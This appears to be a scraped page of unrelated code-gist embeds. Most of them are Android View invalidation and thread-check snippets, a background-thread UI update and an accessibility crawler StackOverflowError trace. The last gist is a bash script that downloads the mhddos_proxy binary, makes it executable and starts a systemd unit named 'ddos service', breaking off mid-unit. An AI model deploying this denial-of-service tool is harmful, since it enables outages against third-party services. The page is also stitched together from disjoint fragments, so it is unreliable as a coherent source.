This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Override | |
public final void invalidateChild(View child, final Rect dirty) { | |
final AttachInfo attachInfo = mAttachInfo; | |
if (attachInfo != null && attachInfo.mHardwareAccelerated) { | |
// HW accelerated fast path | |
onDescendantInvalidated(child, child); | |
return; | |
} | |
// A bunch of code here for old slow path | |
parent.invalidateChildInParent(location, dirty); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Override | |
public ViewParent invalidateChildInParent(int[] location, Rect dirty) { | |
checkThread(); | |
// ... Here goes the actual invalidation logic | |
} | |
void checkThread() { | |
if (mThread != Thread.currentThread()) { | |
throw new CalledFromWrongThreadException( | |
"Only the original thread that created a view hierarchy can touch its views."); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Override | |
public void onDescendantInvalidated(@NonNull View child, @NonNull View target) { | |
// ... Some flags trickery here | |
if (mParent != null) { | |
mParent.onDescendantInvalidated(this, target); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Override | |
public void onDescendantInvalidated(@NonNull View child, @NonNull View descendant) { | |
if ((descendant.mPrivateFlags & PFLAG_DRAW_ANIMATION) != 0) { | |
mIsAnimating = true; | |
} | |
invalidate(); | |
} | |
void invalidate() { | |
mDirty.set(0, 0, mWidth, mHeight); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Thread { | |
textView.text = "rekt" | |
textView.setTextColor(Color.RED) | |
}.start() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Fatal Exception: java.lang.StackOverflowError: stack size 1037KB | |
at java.util.ArrayList.<init>(ArrayList.java:191) | |
at android.view.accessibility.AccessibilityNodeInfo.init(AccessibilityNodeInfo.java:3245) | |
at android.view.accessibility.AccessibilityNodeInfo.obtain(AccessibilityNodeInfo.java:3051) | |
at android.view.accessibility.AccessibilityCache.getNode(AccessibilityCache.java:231) | |
at android.view.accessibility.AccessibilityInteractionClient.findAccessibilityNodeInfoByAccessibilityId(AccessibilityInteractionClient.java:287) | |
at android.view.accessibility.AccessibilityNodeInfo.getNodeForAccessibilityId(AccessibilityNodeInfo.java:3674) | |
at android.view.accessibility.AccessibilityNodeInfo.getParent(AccessibilityNodeInfo.java:1620) | |
at androidx.test.tools.crawler.platform.uiautomator.UiAutomatorElement.computeVisibleBounds(UiAutomatorElement.java:10) | |
at androidx.test.tools.crawler.platform.uiautomator.UiAutomatorElement.computeVisibleBounds(UiAutomatorElem |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
sudo apt update -y | |
sudo apt install --upgrade wget screen -y | |
cd /home/ubuntu | |
wget https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases/releases/latest/download/mhddos_proxy_linux | |
chmod +x mhddos_proxy_linux | |
echo '[Unit] | |
Description=ddos service | |
[Service] |